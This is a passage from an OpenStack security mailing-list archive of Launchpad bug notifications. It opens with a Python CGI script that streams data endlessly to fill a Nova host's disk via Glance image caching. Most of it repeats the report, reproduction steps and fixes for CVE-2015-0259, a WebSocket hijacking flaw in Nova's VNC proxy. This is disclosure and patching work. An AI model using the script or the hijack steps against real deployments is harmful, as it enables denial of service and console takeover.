/var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27 $ df -h /var/lib/nova/instances/_base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_rheva8c03-lv_root 104G 97G 1.1G 99% / $ [1] Standard http cgi script used as the vm image #!/usr/bin/python import os, sys, uuid print "Content-Type: text/html" #print "Content-Length: 1099511627776" # this shouldn't be present for first exploit print data = ''.join(uuid.uuid4().hex for a in range(500)) if os.environ.get('REQUEST_METHOD') == "GET": while 1: print data sys.stdout.flush() To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1029950/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 20:45:52 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 11 Mar 2015 20:45:52 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311204552.24956.95209.malone@chaenomeles.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/163604 ** Changed in: nova Assignee: Sylvain Bauza (sylvain-bauza) => Dave McCowan (dave-mccowan) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 21:09:31 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 11 Mar 2015 21:09:31 -0000 Subject: [Openstack-security] [Bug 1409142] Change abandoned on nova (master) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311210931.14410.88909.malone@wampee.canonical.com> Change abandoned by Dave McCowan (dmccowan at cisco.com) on branch: master Review: https://review.openstack.org/163604 Reason: Duplicate of https://review.openstack.org/#/c/163033/ -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 22:03:39 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 11 Mar 2015 22:03:39 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311220341.25429.13942.launchpad@chaenomeles.canonical.com> ** Changed in: nova/juno Assignee: Tristan Cacqueray (tristan-cacqueray) => Dave McCowan (dave-mccowan) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 22:25:14 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 11 Mar 2015 22:25:14 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311222517.14472.30247.launchpad@wampee.canonical.com> ** Changed in: nova/icehouse Assignee: Tristan Cacqueray (tristan-cacqueray) => Dave McCowan (dave-mccowan) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Thu Mar 12 02:41:07 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 12 Mar 2015 02:41:07 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150312024109.14628.47719.launchpad@wampee.canonical.com> ** Changed in: nova Assignee: Dave McCowan (dave-mccowan) => Tony Breeds (o-tony) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Thu Mar 12 04:09:01 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 12 Mar 2015 04:09:01 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150312040903.15039.70115.launchpad@wampee.canonical.com> ** Changed in: nova Assignee: Tony Breeds (o-tony) => Dave McCowan (dave-mccowan) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Thu Mar 12 04:44:48 2015 From: 1409142 at bugs.launchpad.net (Paul McMillan) Date: Thu, 12 Mar 2015 04:44:48 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150312044448.24665.91251.malone@chaenomeles.canonical.com> Since the Origin header is required with a MUST by the RFC for browsers, I think I'm ok with this, absent any evidence that it's possible to convince browsers to leave the origin header off. https://tools.ietf.org/html/rfc6455#section-4.1 8. The request MUST include a header field with the name |Origin| [RFC6454] if the request is coming from a browser client. If the connection is from a non-browser client, the request MAY include this header field if the semantics of that client match the use-case described here for browser clients. The value of this header field is the ASCII serialization of origin of the context in which the code establishing the connection is running. See [RFC6454] for the details of how this header field value is constructed. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Thu Mar 12 15:31:17 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 12 Mar 2015 15:31:17 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150312153117.24977.7705.malone@soybean.canonical.com> Reviewed: https://review.openstack.org/163033 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=fdb73a2d445971c6158a80692c6f74094fd4193a Submitter: Jenkins Branch: master commit fdb73a2d445971c6158a80692c6f74094fd4193a Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 ** Changed in: nova Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Thu Mar 12 18:42:23 2015 From: 1409142 at bugs.launchpad.net (Paul McMillan) Date: Thu, 12 Mar 2015 18:42:23 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150312184223.18541.35780.malone@gac.canonical.com> The fix merged to latest looks good to me. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Fri Mar 13 00:44:40 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 13 Mar 2015 00:44:40 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150313004440.14597.73833.malone@wampee.canonical.com> Reviewed: https://review.openstack.org/163035 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=0ff674217024a59a79bf80ab752a5cbf7e94642c Submitter: Jenkins Branch: stable/icehouse commit 0ff674217024a59a79bf80ab752a5cbf7e94642c Author: Dave McCowan Date: Tue Feb 24 21:33:58 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 ** Changed in: nova/icehouse Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: Fix Committed Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the 